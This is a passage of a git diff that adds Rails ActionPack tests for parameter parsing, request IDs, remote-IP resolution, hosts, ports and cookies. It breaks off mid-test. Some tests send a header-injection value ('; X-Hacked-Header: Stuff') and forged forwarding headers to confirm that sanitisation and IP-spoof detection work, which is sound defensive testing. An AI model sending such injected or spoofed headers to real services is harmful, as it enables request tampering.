+  end
+
+  test "parses unbalanced query string with array" do
+    query    = "location[]=1&location[]=2&age_group[]=2"
+    expected = { "location" => ["1", "2"], "age_group" => ["2"] }
+    assert_parses expected, query
+  end
+
+  test "parses nested hash" do
+    query = [
+      "note[viewers][viewer][][type]=User",
+      "note[viewers][viewer][][id]=1",
+      "note[viewers][viewer][][type]=Group",
+      "note[viewers][viewer][][id]=2"
+    ].join("&")
+    expected = {
+      "note" => {
+        "viewers" => {
+          "viewer" => [
+            { "id" => "1", "type" => "User" },
+            { "type" => "Group", "id" => "2" }
+          ]
+        }
+      }
+    }
+    assert_parses expected, query
+  end
+
+  test "parses more complex nesting" do
+    query = [
+      "customers[boston][first][name]=David",
+      "customers[boston][first][url]=http://David",
+      "customers[boston][second][name]=Allan",
+      "customers[boston][second][url]=http://Allan",
+      "something_else=blah",
+      "something_nil=",
+      "something_empty=",
+      "products[first]=Apple Computer",
+      "products[second]=Pc",
+      "=Save"
+    ].join("&")
+    expected = {
+      "customers" => {
+        "boston" => {
+          "first" => {
+            "name" => "David",
+            "url" => "http://David"
+          },
+          "second" => {
+            "name" => "Allan",
+            "url" => "http://Allan"
+          }
+        }
+      },
+      "something_else" => "blah",
+      "something_empty" => "",
+      "something_nil" => "",
+      "products" => {
+        "first" => "Apple Computer",
+        "second" => "Pc"
+      }
+    }
+    assert_parses expected, query
+  end
+
+  test "parses params with array" do
+    query    = "selected[]=1&selected[]=2&selected[]=3"
+    expected = { "selected" => ["1", "2", "3"] }
+    assert_parses expected, query
+  end
+
+  test "parses params with nil key" do
+    query    = "=&test2=value1"
+    expected = { "test2" => "value1" }
+    assert_parses expected, query
+  end
+
+  test "parses params with array prefix and hashes" do
+    query    = "a[][b][c]=d"
+    expected = { "a" => [{ "b" => { "c" => "d" } }] }
+    assert_parses expected, query
+  end
+
+  test "parses params with complex nesting" do
+    query    = "a[][b][c][][d][]=e"
+    expected = { "a" => [{ "b" => { "c" => [{ "d" => ["e"] }] } }] }
+    assert_parses expected, query
+  end
+
+  test "parses params with file path" do
+    query = [
+      "customers[boston][first][name]=David",
+      "something_else=blah",
+      "logo=#{__FILE__}"
+    ].join("&")
+    expected = {
+      "customers" => {
+        "boston" => {
+          "first" => {
+            "name" => "David"
+          }
+        }
+      },
+      "something_else" => "blah",
+      "logo" => __FILE__,
+    }
+    assert_parses expected, query
+  end
+
+  test "parses params with Safari 2 trailing null character" do
+    query    = "selected[]=1&selected[]=2&selected[]=3\0"
+    expected = { "selected" => ["1", "2", "3"] }
+    assert_parses expected, query
+  end
+
+  test "ambiguous params returns a bad request" do
+    with_test_routing do
+      post "/parse", params: "foo[]=bar&foo[4]=bar"
+      assert_response :bad_request
+    end
+  end
+
+  private
+    def with_test_routing
+      with_routing do |set|
+        set.draw do
+          ActiveSupport::Deprecation.silence do
+            post ":action", to: ::UrlEncodedParamsParsingTest::TestController
+          end
+        end
+        yield
+      end
+    end
+
+    def assert_parses(expected, actual)
+      with_test_routing do
+        post "/parse", params: actual
+        assert_response :ok
+        assert_equal expected, TestController.last_request_parameters
+        assert_utf8 TestController.last_request_parameters
+      end
+    end
+
+    def assert_utf8(object)
+      correct_encoding = Encoding.default_internal
+
+      unless object.is_a?(Hash)
+        assert_equal correct_encoding, object.encoding, "#{object.inspect} should have been UTF-8"
+        return
+      end
+
+      object.each_value do |v|
+        case v
+        when Hash
+          assert_utf8 v
+        when Array
+          v.each { |el| assert_utf8 el }
+        else
+          assert_utf8 v
+        end
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/request_id_test.rb b/actionpack/test/dispatch/request_id_test.rb
new file mode 100644
index 0000000000..aa3175c986
--- /dev/null
+++ b/actionpack/test/dispatch/request_id_test.rb
@@ -0,0 +1,70 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class RequestIdTest < ActiveSupport::TestCase
+  test "passing on the request id from the outside" do
+    assert_equal "external-uu-rid", stub_request("HTTP_X_REQUEST_ID" => "external-uu-rid").request_id
+  end
+
+  test "ensure that only alphanumeric uurids are accepted" do
+    assert_equal "X-Hacked-HeaderStuff", stub_request("HTTP_X_REQUEST_ID" => "; X-Hacked-Header: Stuff").request_id
+  end
+
+  test "ensure that 255 char limit on the request id is being enforced" do
+    assert_equal "X" * 255, stub_request("HTTP_X_REQUEST_ID" => "X" * 500).request_id
+  end
+
+  test "generating a request id when none is supplied" do
+    assert_match(/\w+-\w+-\w+-\w+-\w+/, stub_request.request_id)
+  end
+
+  test "uuid alias" do
+    assert_equal "external-uu-rid", stub_request("HTTP_X_REQUEST_ID" => "external-uu-rid").uuid
+  end
+
+  private
+
+    def stub_request(env = {})
+      ActionDispatch::RequestId.new(lambda { |environment| [ 200, environment, [] ] }).call(env)
+      ActionDispatch::Request.new(env)
+    end
+end
+
+class RequestIdResponseTest < ActionDispatch::IntegrationTest
+  class TestController < ActionController::Base
+    def index
+      head :ok
+    end
+  end
+
+  test "request id is passed all the way to the response" do
+    with_test_route_set do
+      get "/"
+      assert_match(/\w+/, @response.headers["X-Request-Id"])
+    end
+  end
+
+  test "request id given on request is passed all the way to the response" do
+    with_test_route_set do
+      get "/", headers: { "HTTP_X_REQUEST_ID" => "X" * 500 }
+      assert_equal "X" * 255, @response.headers["X-Request-Id"]
+    end
+  end
+
+  private
+
+    def with_test_route_set
+      with_routing do |set|
+        set.draw do
+          get "/", to: ::RequestIdResponseTest::TestController.action(:index)
+        end
+
+        @app = self.class.build_app(set) do |middleware|
+          middleware.use ActionDispatch::RequestId
+        end
+
+        yield
+      end
+    end
+end
diff --git a/actionpack/test/dispatch/request_test.rb b/actionpack/test/dispatch/request_test.rb
new file mode 100644
index 0000000000..68c6d26364
--- /dev/null
+++ b/actionpack/test/dispatch/request_test.rb
@@ -0,0 +1,1306 @@
+# frozen_string_literal: true
+
+require "abstract_unit"
+
+class BaseRequestTest < ActiveSupport::TestCase
+  def setup
+    @env = {
+      :ip_spoofing_check => true,
+      "rack.input" => "foo"
+    }
+    @original_tld_length = ActionDispatch::Http::URL.tld_length
+  end
+
+  def teardown
+    ActionDispatch::Http::URL.tld_length = @original_tld_length
+  end
+
+  def url_for(options = {})
+    options = { host: "www.example.com" }.merge!(options)
+    ActionDispatch::Http::URL.url_for(options)
+  end
+
+  private
+    def stub_request(env = {})
+      ip_spoofing_check = env.key?(:ip_spoofing_check) ? env.delete(:ip_spoofing_check) : true
+      @trusted_proxies ||= nil
+      ip_app = ActionDispatch::RemoteIp.new(Proc.new {}, ip_spoofing_check, @trusted_proxies)
+      ActionDispatch::Http::URL.tld_length = env.delete(:tld_length) if env.key?(:tld_length)
+
+      ip_app.call(env)
+
+      env = @env.merge(env)
+      ActionDispatch::Request.new(env)
+    end
+end
+
+class RequestUrlFor < BaseRequestTest
+  test "url_for class method" do
+    e = assert_raise(ArgumentError) { url_for(host: nil) }
+    assert_match(/Please provide the :host parameter/, e.message)
+
+    assert_equal "/books", url_for(only_path: true, path: "/books")
+
+    assert_equal "http://www.example.com/books/?q=code", url_for(trailing_slash: true, path: "/books?q=code")
+    assert_equal "http://www.example.com/books/?spareslashes=////", url_for(trailing_slash: true, path: "/books?spareslashes=////")
+
+    assert_equal "http://www.example.com",  url_for
+    assert_equal "http://api.example.com",  url_for(subdomain: "api")
+    assert_equal "http://example.com",      url_for(subdomain: false)
+    assert_equal "http://www.ror.com",      url_for(domain: "ror.com")
+    assert_equal "http://api.ror.co.uk",    url_for(host: "www.ror.co.uk", subdomain: "api", tld_length: 2)
+    assert_equal "http://www.example.com:8080",   url_for(port: 8080)
+    assert_equal "https://www.example.com",       url_for(protocol: "https")
+    assert_equal "http://www.example.com/docs",   url_for(path: "/docs")
+    assert_equal "http://www.example.com#signup", url_for(anchor: "signup")
+    assert_equal "http://www.example.com/",       url_for(trailing_slash: true)
+    assert_equal "http://dhh:supersecret@www.example.com", url_for(user: "dhh", password: "supersecret")
+    assert_equal "http://www.example.com?search=books",    url_for(params: { search: "books" })
+    assert_equal "http://www.example.com?params=",  url_for(params: "")
+    assert_equal "http://www.example.com?params=1", url_for(params: 1)
+  end
+end
+
+class RequestIP < BaseRequestTest
+  test "remote ip" do
+    request = stub_request "REMOTE_ADDR" => "1.2.3.4"
+    assert_equal "1.2.3.4", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "1.2.3.4,3.4.5.6"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "1.2.3.4",
+                           "HTTP_X_FORWARDED_FOR" => "3.4.5.6"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "127.0.0.1",
+                           "HTTP_X_FORWARDED_FOR" => "3.4.5.6"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6,unknown"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6,172.16.0.1"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6,192.168.0.1"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6,10.0.0.1"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6, 10.0.0.1, 10.0.0.1"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "3.4.5.6,127.0.0.1"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "unknown,192.168.0.1"
+    assert_nil request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "9.9.9.9, 3.4.5.6, 172.31.4.4, 10.0.0.1"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "not_ip_address"
+    assert_nil request.remote_ip
+  end
+
+  test "remote ip spoof detection" do
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "1.1.1.1",
+                           "HTTP_CLIENT_IP"       => "2.2.2.2"
+    e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
+      request.remote_ip
+    }
+    assert_match(/IP spoofing attack/, e.message)
+    assert_match(/HTTP_X_FORWARDED_FOR="1\.1\.1\.1"/, e.message)
+    assert_match(/HTTP_CLIENT_IP="2\.2\.2\.2"/, e.message)
+  end
+
+  test "remote ip with spoof detection disabled" do
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "1.1.1.1",
+                           "HTTP_CLIENT_IP"       => "2.2.2.2",
+                           :ip_spoofing_check => false
+    assert_equal "1.1.1.1", request.remote_ip
+  end
+
+  test "remote ip spoof protection ignores private addresses" do
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "172.17.19.51",
+                           "HTTP_CLIENT_IP"       => "172.17.19.51",
+                           "REMOTE_ADDR"          => "1.1.1.1",
+                           "HTTP_X_BLUECOAT_VIA"  => "de462e07a2db325e"
+    assert_equal "1.1.1.1", request.remote_ip
+  end
+
+  test "remote ip v6" do
+    request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
+                           "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "::1",
+                           "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,unknown"
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1"
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, ::1"
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "unknown,::1"
+    assert_nil request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329, ::1, fc00::, fc01::, fdff"
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "FE00::, FDFF::"
+    assert_equal "FE00::", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "not_ip_address"
+    assert_nil request.remote_ip
+  end
+
+  test "remote ip v6 spoof detection" do
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329",
+                           "HTTP_CLIENT_IP"       => "2001:0db8:85a3:0000:0000:8a2e:0370:7334"
+    e = assert_raise(ActionDispatch::RemoteIp::IpSpoofAttackError) {
+      request.remote_ip
+    }
+    assert_match(/IP spoofing attack/, e.message)
+    assert_match(/HTTP_X_FORWARDED_FOR="fe80:0000:0000:0000:0202:b3ff:fe1e:8329"/, e.message)
+    assert_match(/HTTP_CLIENT_IP="2001:0db8:85a3:0000:0000:8a2e:0370:7334"/, e.message)
+  end
+
+  test "remote ip v6 spoof detection disabled" do
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329",
+                           "HTTP_CLIENT_IP"       => "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
+                           :ip_spoofing_check     => false
+    assert_equal "fe80:0000:0000:0000:0202:b3ff:fe1e:8329", request.remote_ip
+  end
+
+  test "remote ip with user specified trusted proxies String" do
+    @trusted_proxies = "67.205.106.73"
+
+    request = stub_request "REMOTE_ADDR" => "3.4.5.6",
+                           "HTTP_X_FORWARDED_FOR" => "67.205.106.73"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "172.16.0.1,67.205.106.73",
+                           "HTTP_X_FORWARDED_FOR" => "67.205.106.73"
+    assert_equal "67.205.106.73", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "67.205.106.73,3.4.5.6",
+                           "HTTP_X_FORWARDED_FOR" => "67.205.106.73"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "67.205.106.73,unknown"
+    assert_nil request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "9.9.9.9, 3.4.5.6, 10.0.0.1, 67.205.106.73"
+    assert_equal "3.4.5.6", request.remote_ip
+  end
+
+  test "remote ip v6 with user specified trusted proxies String" do
+    @trusted_proxies = "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+
+    request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
+                           "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334",
+                           "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
+
+    request = stub_request "REMOTE_ADDR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,::1",
+                           "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    assert_equal "::1", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "unknown,fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    assert_nil request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329,2001:0db8:85a3:0000:0000:8a2e:0370:7334"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
+  end
+
+  test "remote ip with user specified trusted proxies Regexp" do
+    @trusted_proxies = /^67\.205\.106\.73$/i
+
+    request = stub_request "REMOTE_ADDR" => "67.205.106.73",
+                           "HTTP_X_FORWARDED_FOR" => "3.4.5.6"
+    assert_equal "3.4.5.6", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "10.0.0.1, 9.9.9.9, 3.4.5.6, 67.205.106.73"
+    assert_equal "3.4.5.6", request.remote_ip
+  end
+
+  test "remote ip v6 with user specified trusted proxies Regexp" do
+    @trusted_proxies = /^fe80:0000:0000:0000:0202:b3ff:fe1e:8329$/i
+
+    request = stub_request "REMOTE_ADDR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
+                           "HTTP_X_FORWARDED_FOR" => "fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
+
+    request = stub_request "HTTP_X_FORWARDED_FOR" => "2001:0db8:85a3:0000:0000:8a2e:0370:7334, fe80:0000:0000:0000:0202:b3ff:fe1e:8329"
+    assert_equal "2001:0db8:85a3:0000:0000:8a2e:0370:7334", request.remote_ip
+  end
+
+  test "remote ip middleware not present still returns an IP" do
+    request = stub_request("REMOTE_ADDR" => "127.0.0.1")
+    assert_equal "127.0.0.1", request.remote_ip
+  end
+end
+
+class RequestDomain < BaseRequestTest
+  test "domains" do
+    request = stub_request "HTTP_HOST" => "192.168.1.200"
+    assert_nil request.domain
+
+    request = stub_request "HTTP_HOST" => "foo.192.168.1.200"
+    assert_nil request.domain
+
+    request = stub_request "HTTP_HOST" => "192.168.1.200.com"
+    assert_equal "200.com", request.domain
+
+    request = stub_request "HTTP_HOST" => "www.rubyonrails.org"
+    assert_equal "rubyonrails.org", request.domain
+
+    request = stub_request "HTTP_HOST" => "www.rubyonrails.co.uk"
+    assert_equal "rubyonrails.co.uk", request.domain(2)
+
+    request = stub_request "HTTP_HOST" => "www.rubyonrails.co.uk", :tld_length => 2
+    assert_equal "rubyonrails.co.uk", request.domain
+  end
+
+  test "subdomains" do
+    request = stub_request "HTTP_HOST" => "foobar.foobar.com"
+    assert_equal %w( foobar ), request.subdomains
+    assert_equal "foobar", request.subdomain
+
+    request = stub_request "HTTP_HOST" => "192.168.1.200"
+    assert_equal [], request.subdomains
+    assert_equal "", request.subdomain
+
+    request = stub_request "HTTP_HOST" => "foo.192.168.1.200"
+    assert_equal [], request.subdomains
+    assert_equal "", request.subdomain
+
+    request = stub_request "HTTP_HOST" => "192.168.1.200.com"
+    assert_equal %w( 192 168 1 ), request.subdomains
+    assert_equal "192.168.1", request.subdomain
+
+    request = stub_request "HTTP_HOST" => nil
+    assert_equal [], request.subdomains
+    assert_equal "", request.subdomain
+
+    request = stub_request "HTTP_HOST" => "www.rubyonrails.org"
+    assert_equal %w( www ), request.subdomains
+    assert_equal "www", request.subdomain
+
+    request = stub_request "HTTP_HOST" => "www.rubyonrails.co.uk"
+    assert_equal %w( www ), request.subdomains(2)
+    assert_equal "www", request.subdomain(2)
+
+    request = stub_request "HTTP_HOST" => "dev.www.rubyonrails.co.uk"
+    assert_equal %w( dev www ), request.subdomains(2)
+    assert_equal "dev.www", request.subdomain(2)
+
+    request = stub_request "HTTP_HOST" => "dev.www.rubyonrails.co.uk", :tld_length => 2
+    assert_equal %w( dev www ), request.subdomains
+    assert_equal "dev.www", request.subdomain
+  end
+end
+
+class RequestPort < BaseRequestTest
+  test "standard_port" do
+    request = stub_request
+    assert_equal 80, request.standard_port
+
+    request = stub_request "HTTPS" => "on"
+    assert_equal 443, request.standard_port
+  end
+
+  test "standard_port?" do
+    request = stub_request
+    assert !request.ssl?
+    assert request.standard_port?
+
+    request = stub_request "HTTPS" => "on"
+    assert request.ssl?
+    assert request.standard_port?
+
+    request = stub_request "HTTP_HOST" => "www.example.org:8080"
+    assert !request.ssl?
+    assert !request.standard_port?
+
+    request = stub_request "HTTP_HOST" => "www.example.org:8443", "HTTPS" => "on"
+    assert request.ssl?
+    assert !request.standard_port?
+  end
+
+  test "optional port" do
+    request = stub_request "HTTP_HOST" => "www.example.org:80"
+    assert_nil request.optional_port
+
+    request = stub_request "HTTP_HOST" => "www.example.org:8080"
+    assert_equal 8080, request.optional_port
+  end
+
+  test "port string" do
+    request = stub_request "HTTP_HOST" => "www.example.org:80"
+    assert_equal "", request.port_string
+
+    request = stub_request "HTTP_HOST" => "www.example.org:8080"
+    assert_equal ":8080", request.port_string
+  end
+
+  test "server port" do
+    request = stub_request "SERVER_PORT" => "8080"
+    assert_equal 8080, request.server_port
+
+    request = stub_request "SERVER_PORT" => "80"
+    assert_equal 80, request.server_port
+
+    request = stub_request "SERVER_PORT" => ""
+    assert_equal 0, request.server_port
+  end
+end
+
+class RequestPath < BaseRequestTest
+  test "full path" do
+    request = stub_request "SCRIPT_NAME" => "", "PATH_INFO" => "/path/of/some/uri", "QUERY_STRING" => "mapped=1"
+    assert_equal "/path/of/some/uri?mapped=1", request.fullpath
+    assert_equal "/path/of/some/uri",          request.path_info
+
+    request = stub_request "SCRIPT_NAME" => "", "PATH_INFO" => "/path/of/some/uri"
+    assert_equal "/path/of/some/uri", request.fullpath
+    assert_equal "/path/of/some/uri", request.path_info
+
+    request = stub_request "SCRIPT_NAME" => "", "PATH_INFO" => "/"
+    assert_equal "/", request.fullpath
+    assert_equal "/", request.path_info
+
+    request = stub_request "SCRIPT_NAME" => "", "PATH_INFO" => "/", "QUERY_STRING" => "m=b"
+    assert_equal "/?m=b", request.fullpath
+    assert_equal "/",     request.path_info
+
+    request = stub_request "SCRIPT_NAME" => "/hieraki", "PATH_INFO" => "/"
+    assert_equal "/hieraki/", request.fullpath
+    assert_equal "/",         request.path_info
+
+    request = stub_request "SCRIPT_NAME" => "/collaboration/hieraki", "PATH_INFO" => "/books/edit/2"
+    assert_equal "/collaboration/hieraki/books/edit/2", request.fullpath
+    assert_equal "/books/edit/2",                       request.path_info
+
+    request = stub_request "SCRIPT_NAME" => "/path", "PATH_INFO" => "/of/some/uri", "QUERY_STRING" => "mapped=1"
+    assert_equal "/path/of/some/uri?mapped=1", request.fullpath
+    assert_equal "/of/some/uri",               request.path_info
+  end
+
+  test "original_fullpath returns ORIGINAL_FULLPATH" do
+    request = stub_request("ORIGINAL_FULLPATH" => "/foo?bar")
+
+    path = request.original_fullpath
+    assert_equal "/foo?bar", path
+  end
+
+  test "original_url returns url built using ORIGINAL_FULLPATH" do
+    request = stub_request("ORIGINAL_FULLPATH" => "/foo?bar",
+                           "HTTP_HOST"         => "example.org",
+                           "rack.url_scheme"   => "http")
+
+    url = request.original_url
+    assert_equal "http://example.org/foo?bar", url
+  end
+
+  test "original_fullpath returns fullpath if ORIGINAL_FULLPATH is not present" do
+    request = stub_request("PATH_INFO"    => "/foo",
+                           "QUERY_STRING" => "bar")
+
+    path = request.original_fullpath
+    assert_equal "/foo?bar", path
+  end
+end
+
+class RequestHost < BaseRequestTest
+  test "host without specifying port" do
+    request = stub_request "HTTP_HOST" => "rubyonrails.org"
+    assert_equal "rubyonrails.org", request.host_with_port
+  end
+
+  test "host with default port" do
+    request = stub_request "HTTP_HOST" => "rubyonrails.org:80"
+    assert_equal "rubyonrails.org", request.host_with_port
+  end
+
+  test "host with non default port" do
+    request = stub_request "HTTP_HOST" => "rubyonrails.org:81"
+    assert_equal "rubyonrails.org:81", request.host_with_port
+  end
+
+  test "raw without specifying port" do
+    request = stub_request "HTTP_HOST" => "rubyonrails.org"
+    assert_equal "rubyonrails.org", request.raw_host_with_port
+  end
+
+  test "raw host with default port" do
+    request = stub_request "HTTP_HOST" => "rubyonrails.org:80"
+    assert_equal "rubyonrails.org:80", request.raw_host_with_port
+  end
+
+  test "raw host with non default port" do
+    request = stub_request "HTTP_HOST" => "rubyonrails.org:81"
+    assert_equal "rubyonrails.org:81", request.raw_host_with_port
+  end
+
+  test "proxy request" do
+    request = stub_request "HTTP_HOST" => "glu.ttono.us:80"
+    assert_equal "glu.ttono.us", request.host_with_port
+  end
+
+  test "http host" do
+    request = stub_request "HTTP_HOST" => "rubyonrails.org:8080"
+    assert_equal "rubyonrails.org", request.host
+    assert_equal "rubyonrails.org:8080", request.host_with_port
+
+    request = stub_request "HTTP_X_FORWARDED_HOST" => "www.firsthost.org, www.secondhost.org"
+    assert_equal "www.secondhost.org", request.host
+
+    request = stub_request "HTTP_X_FORWARDED_HOST" => "", "HTTP_HOST" => "rubyonrails.org"
+    assert_equal "rubyonrails.org", request.host
+  end
+
+  test "http host with default port overrides server port" do
+    request = stub_request "HTTP_HOST" => "rubyonrails.org"
+    assert_equal "rubyonrails.org", request.host_with_port
+  end
+
+  test "host with port if http standard port is specified" do
+    request = stub_request "HTTP_X_FORWARDED_HOST" => "glu.ttono.us:80"
+    assert_equal "glu.ttono.us", request.host_with_port
+  end
+
+  test "host with port if https standard port is specified" do
+    request = stub_request(
+      "HTTP_X_FORWARDED_PROTO" => "https",
+      "HTTP_X_FORWARDED_HOST" => "glu.ttono.us:443"
+    )
+    assert_equal "glu.ttono.us", request.host_with_port
+  end
+
+  test "host if ipv6 reference" do
+    request = stub_request "HTTP_HOST" => "[2001:1234:5678:9abc:def0::dead:beef]"
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", request.host
+  end
+
+  test "host if ipv6 reference with port" do
+    request = stub_request "HTTP_HOST" => "[2001:1234:5678:9abc:def0::dead:beef]:8008"
+    assert_equal "[2001:1234:5678:9abc:def0::dead:beef]", request.host
+  end
+end
+
+class RequestCGI < BaseRequestTest
+  test "CGI environment variables" do
+    request = stub_request(
+      "AUTH_TYPE" => "Basic",
+      "GATEWAY_INTERFACE" => "CGI/1.1",
+      "HTTP_ACCEPT" => "*/*",
+      "HTTP_ACCEPT_CHARSET" => "UTF-8",
+      "HTTP_ACCEPT_ENCODING" => "gzip, deflate",
+      "HTTP_ACCEPT_LANGUAGE" => "en",
+      "HTTP_CACHE_CONTROL" => "no-cache, max-age=0",
+      "HTTP_FROM" => "googlebot",
+      "HTTP_HOST" => "glu.ttono.us:8007",
+      "HTTP_NEGOTIATE" => "trans",
+      "HTTP_PRAGMA" => "no-cache",
+      "HTTP_REFERER" => "http://www.google.com/search?q=glu.ttono.us",
+      "HTTP_USER_AGENT" => "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)",
+      "PATH_INFO" => "/homepage/",
+      "PATH_TRANSLATED" => "/home/kevinc/sites/typo/public/homepage/",
+      "QUERY_STRING" => "",
+      "REMOTE_ADDR" => "207.7.108.53",
+      "REMOTE_HOST" => "google.com",
+      "REMOTE_IDENT" => "kevin",
+      "REMOTE_USER" => "kevin",
+      "REQUEST_METHOD" => "GET",
+      "SCRIPT_NAME" => "/dispatch.fcgi",
+      "SERVER_NAME" => "glu.ttono.us",
+      "SERVER_PORT" => "8007",
+      "SERVER_PROTOCOL" => "HTTP/1.1",
+      "SERVER_SOFTWARE" => "lighttpd/1.4.5",
+    )
+
+    assert_equal "Basic", request.auth_type
+    assert_equal 0, request.content_length
+    assert_nil request.content_mime_type
+    assert_equal "CGI/1.1", request.gateway_interface
+    assert_equal "*/*", request.accept
+    assert_equal "UTF-8", request.accept_charset
+    assert_equal "gzip, deflate", request.accept_encoding
+    assert_equal "en", request.accept_language
+    assert_equal "no-cache, max-age=0", request.cache_control
+    assert_equal "googlebot", request.from
+    assert_equal "glu.ttono.us", request.host
+    assert_equal "trans", request.negotiate
+    assert_equal "no-cache", request.pragma
+    assert_equal "http://www.google.com/search?q=glu.ttono.us", request.referer
+    assert_equal "Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)", request.user_agent
+    assert_equal "/homepage/", request.path_info
+    assert_equal "/home/kevinc/sites/typo/public/homepage/", request.path_translated
+    assert_equal "", request.query_string
+    assert_equal "207.7.108.53", request.remote_addr
+    assert_equal "google.com", request.remote_host
+    assert_equal "kevin", request.remote_ident
+    assert_equal "kevin", request.remote_user
+    assert_equal "GET", request.request_method
+    assert_equal "/dispatch.fcgi", request.script_name
+    assert_equal "glu.ttono.us", request.server_name
+    assert_equal 8007, request.server_port
+    assert_equal "HTTP/1.1", request.server_protocol
+    assert_equal "lighttpd", request.server_software
+  end
+end
+
+class LocalhostTest < BaseRequestTest
+  test "IPs that match localhost" do
+    request = stub_request("REMOTE_IP" => "127.1.1.1", "REMOTE_ADDR" => "127.1.1.1")
+    assert request.local?
+  end
+end
+
+class RequestCookie < BaseRequestTest
+  test "cookie syntax resilience" do
+    request = stub_request("HTTP_COOKIE" => "_session_id=c84ace84796670c052c6ceb2451fb0f2; is_admin=yes")
+    assert_equal "c84ace84796670c052c6ceb2451fb0f2", request.cookies["_session_id"], request.cookies.inspect
